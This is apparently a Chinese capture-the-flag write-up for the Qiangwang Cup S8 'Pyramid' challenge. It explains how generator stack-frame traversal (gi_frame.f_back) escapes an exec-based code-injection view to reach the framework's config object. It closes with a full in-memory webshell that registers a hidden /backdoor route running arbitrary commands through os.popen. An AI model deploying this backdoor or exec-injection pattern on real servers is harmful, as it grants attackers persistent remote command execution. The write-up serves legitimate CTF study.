强网杯 Pyramid:栈帧回溯与内存马
强网杯 Pyramid(栈帧回溯,内存马)
题目源码
奇安信攻防社区-强网杯S8决赛Pyramid框架下内存马的分析构造及RS加密签名伪造
源代码中的闭包
# 应用启动代码 - 这里创建了闭包
with Configurator() as config: # config在这个with块内创建
config.add_route('register_front', '/')
config.add_route('register_api', '/api/register')
config.add_route('system_test', '/api/test')
config.add_route('front_test', '/test')
config.add_view(system_test, route_name='system_test') # ← 这里创建闭包!
config.add_view(register_api, route_name='register_api')
config.add_view(register_front, route_name='register_front')
app = config.make_wsgi_app() # config被封装到app中
闭包如何形成
当config.add_view(system_test, route_name='system_test')被执行时:
- 外层作用域:
with Configurator() as config:块
- 包含:config对象、各种路由配置 - 内层函数:
system_test函数被注册为视图
- 这个函数记住了它被注册时的环境(包含config对象) - 闭包创建:
# 伪代码表示闭包结构
def create_closure():
config = Configurator_instance # 外层变量
def system_test_closure(request):
# 这个函数可以访问外层的config,即使在其他地方执行
return original_system_test(request)
return system_test_closure
2. 执行时的作用域链
请求处理流程
WSGI服务器 → Pyramid应用(app) → 路由系统 → system_test视图执行
作用域隔离问题
def system_test(request): # 这个函数被执行时
code = request.params.get('code', '')
token = request.params.get('token', '')
# 问题:在这里,config变量不可见!
# 因为我们在system_test的函数作用域内
# config存在于外层闭包作用域中
exec(code) # 我们的代码在这里执行
详细的栈帧回溯过程
def waff():
def f():
# 当前:f()的栈帧
yield g.gi_frame.f_back # 获取调用者(waff)的帧
g = f() # 创建生成器
frame = next(g) # 此时frame指向waff()的栈帧
# frame.f_back → 指向system_test的栈帧
# frame.f_back.f_back → 指向Pyramid框架的栈帧
b = frame.f_back.f_back.f_globals # 找到包含config的全局作用域
可视化调用栈
栈层级 | 函数 | 包含的变量
------|---------------------|-------------------
0 | Pyramid框架代码 | config, Response, 等框架对象
1 | system_test() | request, code, token
2 | waff() | (空)
3 | f() | g
4 | 生成器代码 | (内部)
逐步回溯分析
步骤1:进入生成器
def f():
yield g.gi_frame.f_back # g.gi_frame是生成器自己的帧
# .f_back指向调用者waff()的帧
步骤2:回到waff()
frame = next(g) # frame现在指向waff()的栈帧
# frame.f_locals 包含:f, g, frame等
# frame.f_globals 包含:waff函数的全局变量
步骤3:回到system_test()
frame = frame.f_back # 指向system_test()的栈帧
# frame.f_locals 包含:request, code, token等
# frame.f_globals 还是system_test的全局变量
步骤4:回到Pyramid框架
frame = frame.f_back # 指向Pyramid框架的栈帧
b = frame.f_globals # 这里终于包含config对象!
f_back分析
实际的调用关系:
# 实际调用栈(从下往上):
Level 0: Pyramid框架初始化代码
globals: config, Response, 要找的目标!
Level 1: pyramid.router.py 中的视图调用
def call_view(...):
result = view_callable(context, request) # 调用system_test
Level 2: system_test(request)
def system_test(request):
code = request.params.get('code', '')
exec(code) # 执行我们的payload
Level 3: waff()
def waff():
# 我们的内存马代码
Level 4: f()
def f():
yield g.gi_frame.f_back
所以需要:
f_back: f() → waff()f_back.f_back: waff() → system_test()f_back.f_back.f_back: system_test() → Pyramid框架
5. 完整的内存马注入过程
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = next(g)
# 关键回溯:找到包含config的作用域
target_frame = frame.f_back.f_back.f_back
b = target_frame.f_globals
# 现在可以访问框架对象了
config = b['config']
Response = b['Response']
# 定义恶意视图(访问/backdoor路由时会执行)
def webshell(request):
cmd = request.params.get('cmd', '')
import os
result = os.popen(cmd).read()
return Response(result)//Pyramid要求返回Response对象或特殊类型,Response对象用于http响应生成
# 注册内存马
config.add_route('mem_shell', '/backdoor')
config.add_view(webshell, route_name='mem_shell')
config.commit() # 使配置立即生效
waff()